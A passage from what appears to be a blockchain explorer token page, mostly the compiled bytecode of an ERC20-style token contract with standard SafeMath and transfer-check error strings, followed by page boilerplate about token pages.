fffffffffffffffffffffffffff161415611bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc2906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3290612331565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb390612391565b60405180910390fd5b611d0d816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611da0816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afd90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e3f9190612411565b60405180910390a3505050565b611e598282600954610e16565b5050565b6000611e9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a99565b905092915050565b600081359050611eb681612859565b92915050565b600081519050611ecb81612870565b92915050565b600081519050611ee081612887565b92915050565b600081359050611ef58161289e565b92915050565b600081519050611f0a8161289e565b92915050565b600060208284031215611f2657611f25612633565b5b6000611f3484828501611ea7565b91505092915050565b600060208284031215611f5357611f52612633565b5b6000611f6184828501611ebc565b91505092915050565b60008060408385031215611f8157611f80612633565b5b6000611f8f85828601611ea7565b9250506020611fa085828601611ea7565b9150509250929050565b600080600060608486031215611fc357611fc2612633565b5b6000611fd186828701611ea7565b9350506020611fe286828701611ea7565b9250506040611ff386828701611ee6565b9150509250925092565b6000806040838503121561201457612013612633565b5b600061202285828601611ea7565b925050602061203385828601611ee6565b9150509250929050565b60006020828403121561205357612052612633565b5b600061206184828501611ed1565b91505092915050565b6000602082840312156120805761207f612633565b5b600061208e84828501611ee6565b91505092915050565b6000602082840312156120ad576120ac612633565b5b60006120bb84828501611efb565b91505092915050565b600080604083850312156120db576120da612633565b5b60006120e985828601611efb565b92505060206120fa85828601611efb565b9150509250929050565b61210d816124e8565b82525050565b61212461211f826124e8565b6125b1565b82525050565b6121338161250c565b82525050565b60006121448261242c565b61214e8185612442565b935061215e81856020860161254c565b80840191505092915050565b600061217582612437565b61217f818561244d565b935061218f81856020860161254c565b61219881612638565b840191505092915050565b60006121b060238361244d565b91506121bb82612656565b604082019050919050565b60006121d360228361244d565b91506121de826126a5565b604082019050919050565b60006121f6601b8361244d565b9150612201826126f4565b602082019050919050565b600061221960268361244d565b91506122248261271d565b604082019050919050565b600061223c60298361244d565b91506122478261276c565b604082019050919050565b600061225f60258361244d565b915061226a826127bb565b604082019050919050565b600061228260248361244d565b915061228d8261280a565b604082019050919050565b6122a181612542565b82525050565b60006122b38284612113565b60148201915081905092915050565b60006122ce8284612139565b915081905092915050565b60006020820190506122ee6000830184612104565b92915050565b6000602082019050612309600083018461212a565b92915050565b60006020820190508181036000830152612329818461216a565b905092915050565b6000602082019050818103600083015261234a816121a3565b9050919050565b6000602082019050818103600083015261236a816121c6565b9050919050565b6000602082019050818103600083015261238a816121e9565b9050919050565b600060208201905081810360008301526123aa8161220c565b9050919050565b600060208201905081810360008301526123ca8161222f565b9050919050565b600060208201905081810360008301526123ea81612252565b9050919050565b6000602082019050818103600083015261240a81612275565b9050919050565b60006020820190506124266000830184612298565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061246982612542565b915061247483612542565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124a9576124a86125d5565b5b828201905092915050565b60006124bf82612542565b91506124ca83612542565b9250828210156124dd576124dc6125d5565b5b828203905092915050565b60006124f382612522565b9050919050565b600061250582612522565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101561256a57808201518184015260208101905061254f565b83811115612579576000848401525b50505050565b6000600282049050600182168061259757607f821691505b602082108114156125ab576125aa612604565b5b50919050565b60006125bc826125c3565b9050919050565b60006125ce82612649565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612862816124e8565b811461286d57600080fd5b50565b612879816124fa565b811461288457600080fd5b50565b61289081612518565b811461289b57600080fd5b50565b6128a781612542565b81146128b257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220747b05126a6282d6fd950099963c74909f3d84a625733ff5670d473c767112a564736f6c63430008060033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.